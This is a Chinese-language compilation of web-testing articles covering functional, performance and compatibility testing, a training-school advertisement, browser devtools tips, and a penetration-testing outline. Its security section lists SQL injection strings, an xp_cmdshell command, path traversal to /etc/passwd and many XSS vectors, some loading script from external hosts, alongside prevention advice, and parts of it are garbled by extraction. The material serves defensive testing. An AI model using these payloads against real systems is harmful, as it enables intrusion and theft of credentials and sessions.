A. WEB測試應該注意哪些地方,怎樣才能做好WEB
基於Web的系統測試與傳統的軟體測試既有相同之處,也有不同的地方,對軟體測試提出了新的挑戰。基於Web的系統測試不但需要檢查和驗證是否按照設計的要求運行,而且還要評價系統在不同用戶的瀏覽器端的顯示是否合適。重要的是,還要從最終用戶的角度進行安全性和可用性測試。本文從功能、性能、可用性、客戶端兼容性、安全性等方面討論了基於Web的系統測試方法。
隨著Internet和Intranet/Extranet的快速增長,Web已經對商業、工業、銀行、財政、教育、政府和娛樂及我們的工作和生活產生了深遠的影響。許多傳統的信息和資料庫系統正在被移植到互聯網上,電子商務迅速增長,早已超過了國界。范圍廣泛的、復雜的分布式應用正在Web環境中出現。Web的流行和無所不在,是因為它能提供支持所有類型內容連接的信息發布,容易為最終用戶存取。
Yogesh Deshpande和Steve Hansen在1998年就提出了Web工程的概念。Web工程作為一門新興的學科,提倡使用一個過程和系統的方法來開發高質量的基於Web的系統。它"使用合理的、科學的工程和管理原則,用嚴密的和系統的方法來開發、發布和維護基於Web的系統"。目前,對於web工程的研究主要是在國外開展的,國內還剛剛起步。
在基於Web的系統開發中,如果缺乏嚴格的過程,我們在開發、發布、實施和維護Web的過程中,可能就會碰到一些嚴重的問題,失敗的可能性很大。而且,隨著基於Web的系統變得越來越復雜,一個項目的失敗將可能導致很多問題。當這種情況發生時,我們對Web和Internet的信心可能會無法挽救地動搖,從而引起Web危機。並且,Web危機可能會比軟體開發人員所面對的軟體危機更加嚴重、更加廣泛。
在Web工程過程中,基於Web系統的測試、確認和驗收是一項重要而富有挑戰性的工作。基於Web的系統測試與傳統的軟體測試不同,它不但需要檢查和驗證是否按照設計的要求運行,而且還要測試系統在不同用戶的瀏覽器端的顯示是否合適。重要的是,還要從最終用戶的角度進行安全性和可用性測試。然而,Internet和Web媒體的不可預見性使測試基於Web的系統變得困難。因此,我們必須為測試和評估復雜的基於Web的系統研究新的方法和技術。
一般軟體的發布周期以月或以年計算,而Web應用的發布周期以天計算甚至以小時計算。Web測試人員必須處理更短的發布周期,測試人員和測試管理人員面臨著從測試傳統的C/S結構和框架環境到測試快速改變的Web應用系統的轉變。
一、功能測試
1、鏈接測試
鏈接是Web應用系統的一個主要特徵,它是在頁面之間切換和指導用戶去一些不知道地址的頁面的主要手段。鏈接測試可分為三個方面。首先,測試所有鏈接是否按指示的那樣確實鏈接到了該鏈接的頁面;其次,測試所鏈接的頁面是否存在;最後,保證Web應用系統上沒有孤立的頁面,所謂孤立頁面是指沒有鏈接指向該頁面,只有知道正確的URL地址才能訪問。鏈接測試可以自動進行,現在已經有許多工具可以採用。鏈接測試必須在集成測試階段完成,也就是說,在整個Web應用系統的所有頁面開發完成之後進行鏈接測試。
2、表單測試
當用戶給Web應用系統管理員提交信息時,就需要使用表單操作,例如用戶注冊、登陸、信息提交等。在這種情況下,我們必須測試提交操作的完整性,以校驗提交給伺服器的信息的正確性。例如:用戶填寫的出生日期與職業是否恰當,填寫的所屬省份與所在城市是否匹配等。如果使用了默認值,還要檢驗默認值的正確性。如果表單只能接受指定的某些值,則也要進行測試。例如:只能接受某些字元,測試時可以跳過這些字元,看系統是否會報錯。
3、Cookies測試
Cookies通常用來存儲用戶信息和用戶在某應用系統的操作,當一個用戶使用Cookies訪問了某一個應用系統時,Web伺服器將發送關於用戶的信息,把該信息以Cookies的形式存儲在客戶端計算機上,這可用來創建動態和自定義頁面或者存儲登陸等信息。如果Web應用系統使用了Cookies,就必須檢查Cookies是否能正常工作。測試的內容可包括Cookies是否起作用,是否按預定的時間進行保存,刷新對Cookies有什麼影響等。
4、設計語言測試
Web設計語言版本的差異可以引起客戶端或伺服器端嚴重的問題,例如使用哪種版本的HTML等。當在分布式環境中開發時,開發人員都不在一起,這個問題就顯得尤為重要。除了HTML的版本問題外,不同的腳本語言,例如Java、javascript、 ActiveX、VBScript或Perl等也要進行驗證。
5、資料庫測試
在Web應用技術中,資料庫起著重要的作用,資料庫為Web應用系統的管理、運行、查詢和實現用戶對數據存儲的請求等提供空間。在Web應用中,最常用的資料庫類型是關系型資料庫,可以使用sql對信息進行處理。在使用了資料庫的Web應用系統中,一般情況下,可能發生兩種錯誤,分別是數據一致性錯誤和輸出錯誤。數據一致性錯誤主要是由於用戶提交的表單信息不正確而造成的,而輸出錯誤主要是由於網路速度或程序設計問題等引起的,針對這兩種情況,可分別進行測試。
二、性能測試
1、連接速度測試
用戶連接到Web應用系統的速度根據上網方式的變化而變化,他們或許是電話撥號,或是寬頻上網。當下載一個程序時,用戶可以等較長的時間,但如果僅僅訪問一個頁面就不會這樣。如果Web系統響應時間太長(例如超過5秒鍾),用戶就會因沒有耐心等待而離開。另外,有些頁面有超時的限制,如果響應速度太慢,用戶可能還沒來得及瀏覽內容,就需要重新登陸了。而且,連接速度太慢,還可能引起數據丟失,使用戶得不到真實的頁面。
2、負載測試
負載測試是為了測量Web系統在某一負載級別上的性能,以保證Web系統在需求范圍內能正常工作。負載級別可以是某個時刻同時訪問Web系統的用戶數量,也可以是在線數據處理的數量。例如:Web應用系統能允許多少個用戶同時在線?如果超過了這個數量,會出現什麼現象?Web應用系統能否處理大量用戶對同一個頁面的請求?
3、壓力測試
負載測試應該安排在Web系統發布以後,在實際的網路環境中進行測試。因為一個企業內部員工,特別是項目組人員總是有限的,而一個Web系統能同時處理的請求數量將遠遠超出這個限度,所以,只有放在Internet上,接受負載測試,其結果才是正確可信的。進行壓力測試是指實際破壞一個Web應用系統,測試系統的反映。壓力測試是測試系統的限制和故障恢復能力,也就是測試Web應用系統會不會崩潰,在什麼情況下會崩潰。黑客常常提供錯誤的數據負載,直到Web應用系統崩潰,接著當系統重新啟動時獲得存取權。壓力測試的區域包括表單、登陸和其他信息傳輸頁面等。
三、可用性測試
1、導航測試
導航描述了用戶在一個頁面內操作的方式,在不同的用戶介面控制之間,例如按鈕、對話框、列表和窗口等;或在不同的連接頁面之間。通過考慮下列問題,可以決定一個Web應用系統是否易於導航:導航是否直觀?Web系統的主要部分是否可通過主頁存取?Web系統是否需要站點地圖、搜索引擎或其他的導航幫助?
在一個頁面上放太多的信息往往起到與預期相反的效果。Web應用系統的用戶趨向於目的驅動,很快地掃描一個Web應用系統,看是否有滿足自己需要的信息,如果沒有,就會很快地離開。很少有用戶願意花時間去熟悉Web應用系統的結構,因此,Web應用系統導航幫助要盡可能地准確。導航的另一個重要方面是Web應用系統的頁面結構、導航、菜單、連接的風格是否一致。確保用戶憑直覺就知道Web應用系統裡面是否還有內容,內容在什麼地方。Web應用系統的層次一旦決定,就要著手測試用戶導航功能,讓最終用戶參與這種測試,效果將更加明顯。
2、圖形測試
在Web應用系統中,適當的圖片和動畫既能起到廣告宣傳的作用,又能起到美化頁面的功能。一個Web應用系統的圖形可以包括圖片、動畫、邊框、顏色、字體、背景、按鈕等。圖形測試的內容有:
(1)要確保圖形有明確的用途,圖片或動畫不要胡亂地堆在一起,以免浪費傳輸時間。Web應用系統的圖片尺寸要盡量地小,並且要能清楚地說明某件事情,一般都鏈接到某個具體的頁面。
(2)驗證所有頁面字體的風格是否一致。
(3)背景顏色應該與字體顏色和前景顏色相搭配。
(4)圖片的大小和質量也是一個很重要的因素,一般採用JPG或GIF壓縮。
3、內容測試
內容測試用來檢驗Web應用系統提供信息的正確性、准確性和相關性。信息的正確性是指信息是可靠的還是誤傳的。例如,在商品價格列表中,錯誤的價格可能引起財政問題甚至導致法律糾紛;信息的准確性是指是否有語法或拼寫錯誤。這種測試通常使用一些文字處理軟體來進行,例如使用Microsoft Word的"拼音與語法檢查"功能;信息的相關性是指是否在當前頁面可以找到與當前瀏覽信息相關的信息列表或入口,也就是一般Web站點中的所謂"相關文章列表"。
4、整體界面測試
整體界面是指整個Web應用系統的頁面結構設計,是給用戶的一個整體感。例如:當用戶瀏覽Web應用系統時是否感到舒適,是否憑直覺就知道要找的信息在什麼地方?整個Web應用系統的設計風格是否一致?對整體界面的測試過程,其實是一個對最終用戶進行調查的過程。一般Web應用系統採取在主頁上做一個調查問卷的形式,來得到最終用戶的反饋信息。對所有的可用性測試來說,都需要有外部人員(與Web應用系統開發沒有聯系或聯系很少的人員)的參與,最好是最終用戶的參與。
四、客戶端兼容性測試
1、平台測試
市場上有很多不同的操作系統類型,最常見的有Windows、Unix、Macintosh、Linux等。Web應用系統的最終用戶究竟使用哪一種操作系統,取決於用戶系統的配置。這樣,就可能會發生兼容性問題,同一個應用可能在某些操作系統下能正常運行,但在另外的操作系統下可能會運行失敗。因此,在Web系統發布之前,需要在各種操作系統下對Web系統進行兼容性測試。
2、瀏覽器測試
瀏覽器是Web客戶端最核心的構件,來自不同廠商的瀏覽器對Java,、javascript、 ActiveX、 plug-ins或不同的HTML規格有不同的支持。例如,ActiveX是Microsoft的產品,是為Internet Explorer而設計的,javascript是Netscape的產品,Java是Sun的產品等等。另外,框架和層次結構風格在不同的瀏覽器中也有不同的顯示,甚至根本不顯示。不同的瀏覽器對安全性和Java的設置也不一樣。測試瀏覽器兼容性的一個方法是創建一個兼容性矩陣。在這個矩陣中,測試不同廠商、不同版本的瀏覽器對某些構件和設置的適應性。
五、安全性測試
Web應用系統的安全性測試區域主要有:
(1)現在的Web應用系統基本採用先注冊,後登陸的方式。因此,必須測試有效和無效的用戶名和密碼,要注意到是否大小寫敏感,可以試多少次的限制,是否可以不登陸而直接瀏覽某個頁面等。
(2)Web應用系統是否有超時的限制,也就是說,用戶登陸後在一定時間內(例如15分鍾)沒有點擊任何頁面,是否需要重新登陸才能正常使用。
(3)為了保證Web應用系統的安全性,日誌文件是至關重要的。需要測試相關信息是否寫進了日誌文件、是否可追蹤。
(4)當使用了安全套接字時,還要測試加密是否正確,檢查信息的完整性。
(5)伺服器端的腳本常常構成安全漏洞,這些漏洞又常常被黑客利用。所以,還要測試沒有經過授權,就不能在伺服器端放置和編輯腳本的問題。
六、總結
本文從功能、性能、可用性、客戶端兼容性、安全性等方面討論了基於Web的系統測試方法。基於Web的系統測試與傳統的軟體測試既有相同之處,也有不同的地方,對軟體測試提出了新的挑戰。基於Web的系統測試不但需要檢查和驗證是否按照設計的要求運行,而且還要評價系統在不同用戶的瀏覽器端的顯示是否合適。重要的是,還要從最終用戶的角度進行安全性和可用性測試。
B. 昭通java培訓學校告訴你軟體測試人員需要具備的相關技能
有些女孩子喜歡計算機,但是有擔心學不會,因為北大青鳥昭通嘉薈校區女孩子們可以學軟體開發轉測試工作,下面昭通電腦培訓http://www.kmbdqn.cn/就列舉出某公司的測試人員需要具備的工作技能,相信女孩子們看過之後會覺得其實工作很輕松,有信心就有前途!
職位要求:
1.2年以上測試經驗,熟悉B/S和C/S應用的測試;
2.有良好的溝通和協調能力,有很強的責任心,有出色的分析和解決問題能力,有敏銳的觀察力;
3.具備基礎的編程能力,有linux下測試腳本編寫經驗優先;
4.熟悉windows和linux操作系統編程相關知識者優先;
5.有web測試經驗優先。
6.有電子商務互聯網經驗的優先
崗位職責:
職位描述:
1.負責項目的整體測試計劃、執行和管理,控制項目質量,反饋測試結果;
2.根據功能文檔制定測試計劃,創建測試場景、用例。
有關測試工作經驗,北大青鳥昭通嘉薈校區在授課過程中會不斷的為學子們提供實戰項目,所以無須擔心。女孩子們,加油吧!當然男孩子也可以學,看個人求職意向。
C. 如何進行WEB安全性測試
安全性測試主要從以下方面考慮 主要從以下方面考慮: WEB 的安全性測試主要從以下方面考慮: Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如 搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對 於未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個 參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登 錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:為什麼是 OR, 以及',――是特殊的字元呢? 例子:在登錄時進行身份驗證時,通常使用如下語句來進行驗證:sql=select * from user where username='username' and pwd='password' 如 輸入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11,SQL 語句會變成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將 按下一個查詢條件來執行. 接 下來是 OR 查詢條件,OR 是一個邏輯運 算符, 在判斷多個條件的時候, 只要一 個成立,則等式就成立,後面的 AND 就不再時行判斷了,也就是 說我們繞過了密碼 驗證,我們只用用戶名就可以登錄. 如 輸入 http://ck/index.asp?username=admin'--&pwd=11,SQL 語 admin'-admin'-11 句會 變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查 詢條件,即 username='admin',接下來的語句將按 下一個查詢條件來執行 接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗 證(注:對 ACCESS 資料庫 資料庫無 效). 最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如 果 能說明存在 SQL 安 全漏洞. 試想,如果網站存在 SQL 注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結 構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作 工作: 工作 轉義敏感字元及字元串(SQL 的敏感字元包括 「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」, 和」空格」). 屏蔽出錯信息:阻止攻擊者知道攻擊的結果 在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將 安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗 以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就 是禁止輸入敏感字元) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序 應給出不包含任何代碼或資料庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊 跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? <!--[if !supportLists]-->首先,找到帶有參數傳遞的 URL,如 交評論,發表留言 頁面等等。 登錄頁面,搜索頁面,提 <!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試: <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最後,當用戶瀏覽 時便會彈出一個警告框,內容顯示的是瀏覽者當前的 cookie 串,這就 說明該網站存在 XSS 漏洞。 試想如果我們注入的不是以上這個簡單的測試代碼,而是一段經常精心設計的惡意腳 本,當用戶瀏覽此帖時,cookie 信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號 就很容易被攻擊者掌控了。 (2)如何預防 XSS 漏洞? 從應用程序的角度來講,要進行以下幾項預防: 對 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 語句或腳本進行轉義. 在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成 XSS 檢查: 在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進 行驗證,著重驗證是否對 HTML 或腳本代碼進行了轉義。 執行測試過程中也應對上述項進行檢查。 3.CSRF:(跨站點偽造請求) 3.CSRF:(跨站點偽造請求) CSRF:(跨站點偽造請求 CSRF 盡管聽起來像跨站腳本(XSS),但它與 XSS 非常不同,並且攻擊方式 幾乎相左。 XSS 是利用站點內的信任用戶,而 CSRF 則通過偽裝來自受信任用戶的請求 來利用受信任的網站。 XSS 也好, CSRF 也好, 它的目的在於竊取用戶的信息, SESSION 和 COOKIES 如 (關於 SESSION 和 COOKIES 的介紹請參見我的另一篇 BLOG: http://www.51testing.com/?49689/action_viewspace_itemid_74885.html), (1)如何進行 CSRF 測試? 關於這個主題本人也正在研究,目前主要通過安全性測試工具來進行檢查。 (2)如何預防 CSRF 漏洞? 請參見 http://www.hanguofeng.cn/archives/security/preventing-csrf 請 參見 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(郵件標頭注入 郵件標頭注入) 4.Email Header Injection(郵件標頭注入) Email Header Injection:如果表單用於發送 email,表單中可能包括 「subject」輸入項(郵件標題),我們要驗證 subject 中應能 escape 掉「\n」 標識。 <!--[if !supportLists]--><!--[endif]-->因為「\n」是新行,如果在 subject 中輸入「hello\ncc:[email protected]」,可能會形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的 其它用 subject, 那他可能會給利用這個缺陷通過我們的平台給其它 戶發送垃 其它 圾郵件。 Traversal(目錄遍歷 目錄遍歷) 5.Directory Traversal(目錄遍歷) (1)如何進行目錄遍歷測試? 目錄遍歷產生的原因是:程序中沒有過濾用戶輸入的「../」和「./」之 類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的 任意文件。 測試方法: URL 中輸入一定數量的 在 「../」 「./」 驗證系統是否 ESCAPE 和 , 掉了這些目錄跳轉符。 (2)如何預防目錄遍歷? 限制 Web 應用在伺服器上的運行 進 行嚴格的輸入驗證,控制用戶輸入非法路徑 messages(錯誤信息 錯誤信息) 6.exposed error messages(錯誤信息) (1)如何進行測試? 首 先找到一些錯誤頁面,比如 404,或 500 頁面。 驗證在調試未開通過的情況下, 是否給出了友好的錯誤提示信息比如「你 訪問的頁面不存 在」等,而並非曝露一些程序代碼。 (2)如何預防? 測試人員在進行需求檢查時,應該對出錯信息 進行詳細查,比如是否給 出了出錯信息,是否給出了正確的出錯信息。
D. Web測試必備技能——F12
當我們想要測試一些頁面上顯示的內容時,可以藉助chrome的控制台F12來進行測試
1、想要測試看看界面一些欄位樣式的顯示
比如說下圖,我們要測試賬戶超長顯示的場景:
定位到要修改的地方,進行修改,界面就會顯示出你所修改的樣式
2、想要測試模擬弱網情況
點擊Networt下的 Online
Fast 3G:模擬快速的3G
Slow 3G: 模擬慢速的3G
offline:離線的
自定義網速:
你是不是想說 要是沒有我想要的怎麼辦,沒關系的你想到的,我也想到了,當然谷歌也想到了 這個時候我們就需要點擊Add...進行添加
再次刷新網頁
就會出現提示未連接到互聯網,這樣就成功了,因為我們這里是設置為0所以模擬是斷網的操作
E. 如何進行Web滲透測試
什麼是滲透測試?
滲透測試,是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網路、主機、應用的安全作深入的探測,發現系統最脆弱的環節。
如何進行Web滲透測試?
完整web滲透測試框架當需要測試的web應用數以千計,就有必要建立一套完整的安全測試框架,流程的最高目標是要保證交付給客戶的安全測試服務質量。
1、立項:項目建立,時間安排,人力分配,目標制定,廠商介面人確定;
系統分析&威脅分析:針對具體的web應用,分析系統架構、使用的組件、對外提供的介面等,以STRIDE為威脅模型進行對應的安全威脅分析,輸出安全威脅分析表,重點關注top3威脅;
制定測試用例:根據威脅分析的結果制定對應的測試用例,測試用例按照模板輸出,具備可執行性;
測試執行&漏洞挖掘:測試用例執行&發散測試,挖掘對應的安全問題or漏洞;
問題修復&回歸測試:指導客戶應用開發方修復安全問題or漏洞,並進行回歸測試,確保安全問題or漏洞得到修復,並且沒有引入新的安全問題;
項目總結評審:項目過程總結,輸出文檔評審,相關文檔歸檔。
2、Web應用的滲透測試流程
主要分為3個階段,分別是:信息收集→漏洞發現→漏洞利用,下面仔細分析一下各個階段流程:
一、信息收集
在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等
腳本語言的類型:常見的腳本語言的類型包括:php、asp、aspx、jsp等
測試方法:
1 爬取網站所有鏈接,查看後綴
2 直接訪問一個不存在頁面後面加不同的後綴測試
3 查看robots.txt,查看後綴
伺服器的類型:常見的web伺服器包括:apache、tomcat、IIS、ngnix等
測試方法:
1 查看header,判斷伺服器類型
2 根據報錯信息判斷
3 根據默認頁面判斷
目錄的結構:了解更多的目錄,可能發現更多的弱點,如:目錄瀏覽、代碼泄漏等。
測試方法
1 使用字典枚舉目錄
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
使用的開源軟體:我們如果知道了目標使用的開源軟體,我們可以查找相關的軟體的漏洞直接對網站進行測試。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
資料庫類型:對於不同的資料庫有不同的測試方法。
測試方法
1 使應用程序報錯,查看報錯信息
2 掃描伺服器的資料庫埠(沒做NAT且防火牆不過濾時有效)
所有鏈接頁面:這個跟前面的獲取目錄結構類似,但是這個不只是獲取網站的所有功能頁面,有時候還可以獲取到管理員備份的源碼。
測試方法
1 使用字典枚舉頁面
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
用到的框架:很多網站都利用開源的框架來快速開發網站,所以收集網站的框架信息也是非常關鍵的。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。
關於開源軟體的漏洞發現
開源的軟體:常見的開源軟體有wordpress、phpbb、dedecms等
開源的框架:常見的開源框架有Struts2、 Spring MVC、ThinkPHP等
中間件伺服器:常見的中間件伺服器有jboss、tomcat、Weblogic等
資料庫服務:常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
對於開源軟體的測試方法
1 通過指紋識別軟體判斷開源軟體的版本信息,針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試
2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作
3 使用開源的漏洞發現工具對其進行漏洞掃描,如:WPScan
關於自主開發的應用
手動測試:這個階段,我們需要手工測試所有與用戶交互的功能,比如:留言、登入、下單、退出、退貨、付款等操作
軟體掃描:使用免費的軟體掃描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp關鍵點
代碼安全之上傳文件
代碼安全之文件包含
代碼安全之SSRF
邏輯漏洞之密碼重置
邏輯漏洞之支付漏洞
邏輯漏洞之越權訪問
平台安全之中間件安全
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試
手工測試
手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具,可由測試者獨立完成,實現起來比較簡單。但這種方法高度依賴於測試者,需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。
這種方式對於有特殊過濾等操作,或者網路上沒有成型的利用工具的時候可以使用。
工具測試
網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。
F. web網站做自動化測試,有經驗的人推薦下工具吧
1.SELENIUM可以說是測試WEB最全面的開源自動化工具,
它可以在WINDOWS,
LINUX,
MAC
和
SOLARIS
上運行,
而且可以幾乎用任何一種編程語言進行構建,
你可以用你熟悉的語言包括
JAVA,
C#,
PERL,
PHP,
PYTHON
和
RUBY。
它可以測試的瀏覽器有IE,
FIREFOX,
OPERA
和
SAFARI。
2.WATIR
是另一個在國外非常流行的自動化測試框架,
WATIR
是
WEB
AUTOMATION
TESTING
IN
RUBY的縮寫,
Bret
Pettichord
是這個開源項目的主要開發人員,
相信大家讀過他的著作《Lessons
learned
in
Software
